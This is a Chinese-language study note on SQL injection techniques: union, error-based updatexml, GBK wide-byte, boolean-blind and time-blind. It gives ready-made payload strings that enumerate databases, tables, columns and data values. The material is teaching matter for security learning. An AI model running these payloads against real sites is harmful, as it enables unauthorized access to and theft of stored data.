SQL注入学习笔记
SQL注入原理
SQL注入原理就是跟SQL语法有关的一种攻击手段。如果在编写代码时没有对提交的参数进行严格过滤和判断,通过在客户端提交参数时拼接SQL语句,提交至服务端,服务端将拼接的SQL语句提交给数据库执行,泄露数据库中的信息并返回给服务端,再返回给客户端,从而获得信息或者执行危险命令。
按数据类型分类
数字型
在数据库中,提交的参数是数字,不用考虑引号闭合问题
测试语句:
- id=1',此时拼接的sql语句为 select * from xxx where id=1' ,不符合语法,肯定报错
- id=1 and 1=1,此时拼接的sql语句为 select * from xxx where id=1 and 1=1,会正常输出
示例: 1 or 1=1#
sql语句:select * from xxx where id=1 or 1=1 #
or 1=1保证了所有数据都满足输出条件,而#是注释掉后面其他的语句,如果注入成功,就可以输出该库的所有元素
字符型
在数据库中,提交的参数是字符串,需要考虑引号闭合问题
测试语句:
- str=bulabula # ,此时拼接的sql语句为 select * from xxx where str='bulabula ,引号未闭合,会报错
- str=bulabula' and 1=1 # ,此时拼接的sql语句为 select * from xxx where str='bulabula' and 1=1 # ,会正常输出
示例 kk' or 1=1 #
sql语句:select * from xxx where str='kk' or 1=1 #
效果同数字型,只不过考虑了引号闭合
搜素型
在数据库中,字符串采用模糊匹配的方式找对应数据。在数据库搜索的时候,如果使用%,可以达到模糊匹配的效果。如 str='%abc' ,就会匹配以abc结尾的数据,而 str='%abc%',就会匹配含有abc的数据。在对这种数据进行注入时,需要考虑百分号的闭合。
注入手段
联合查询注入
通过union语句实现联合查询注入,但是得保证两次select的列数一致,才能对齐
判断列数: 通过order by语句
示例:
str=1' order by 3 # (对第三列排序 报错)
str=1' order by 2 # (对第二列排除 无报错)
此时说明该数据一共有3列
爆数据库名 str=1' union select 3,(select group_concat(schema_name) from information_schema.schemata) #
爆表名 str=1' union select 3,(select group_concat(table_name) from information_schema.tables where table_schema='数据库名') #
爆列名 str=1' union select 3,(select group_concat(column_name) from information_schema.columns where table_name = '表名') #
爆数据值 str=1' union select 3,(select group_concat(列名) from 数据库名.表名) #
上述爆数据库名,表名,列名其实都是基于爆数据值这个格式,在数据库中自带的information_schema数据库找到的数据
报错注入
基于数据库本身函数报错输出的注入方式,如updatexml内容替换函数,其格式为updatexml(string格式,XPath格式字符串,string格式),当不符合xpath语法格式时,会将里面的内容爆出
爆数据库版本 str=1' and updatexml(0,concat(0x7e,(select @@version),0x7e),1) #
爆数据库当前用户 str=1' and updatexml(0,concat(0x7e,(select user()),0x7e),1) #
爆当前数据库 str=1' and updatexml(0,concat(0x7e,(select database()),0x7e),1) #
爆表名 str=1' and updatexml(0,concat(0x7e,(select table_name from information_schema.tables where table_schema = '数据库名' limit 0,1),0x7e),1) #
由于concat只能连接一行,所以只能用limit一行一行输出
爆列名 str=1' and updatexml(0,concat(0x7e,(select column_name from information_schema.columns where table_name='表名' and table_schema='数据库名' limit 0,1),0x7e),1) #
爆数据值 str=1' and updatexml(1,concat(0x7e,(select 列名 from 表名 limit 0,1),0x7e),0) #
宽字节注入
许多网站为了防止sql注入,会使用转义符注释掉一些特殊字符(如:' " \
NULL)。在这些字符前加上\,让这些符号失去意义,这时就可以尝试宽字节注入。
假设我们正常注入的语句为:xx' and 1=1 # ,在被网站处理后会变成:xx' and 1=1 #,此时单引号就被注释掉了,在url编码后,这段语句会变成:xx%5c%27+and+1%3d1+%23。若网站是按照GBK编码编写,在GBK编码表示汉字时,会用两个十六进制字节表示汉字(如 %df%5c=運),那么我们就可以通过与转义符\合成一个汉字,来消掉\。
注入语句:str=xx%df' and 1=1 #
布尔型盲注
当注入后无回显时,可以采取盲注。假设在正常输入xxx是有回显的,而网站对报错注入之类的手法进行了处理,我们可以使用and,使我们测试出正确的字符时才回显。如:
str=xxx' and ascii(substr(database(),1,1))=98 #
这段语句and后面代表数据库的第一个字符的ascii码是否为98,如果是98则为真,此时前面的xxx也可以正常回显,两个合起来为真就有回显,通过更改substr里面的参数,即可测出想要数据的字符是什么,并且不一定要为等号,还可以用> <,来快速确定字符范围。
时间型盲注
与布尔型盲注的原理相同,都是通过一些手法使得页面有回显,而时间型盲注则是使网站等待一些时间再返回页面。
注入语句:str=xxx' and if(substr(database(),1,1) = 'a',sleep(10),null) #
这段语句就是通过if语句判断,如果成功则等待十秒返回页面,否则无影响,其中强行等待语句还可以使用benchmark(10000000,MD5(1)),并且也可以转化为ascii码比较大小来缩小范围。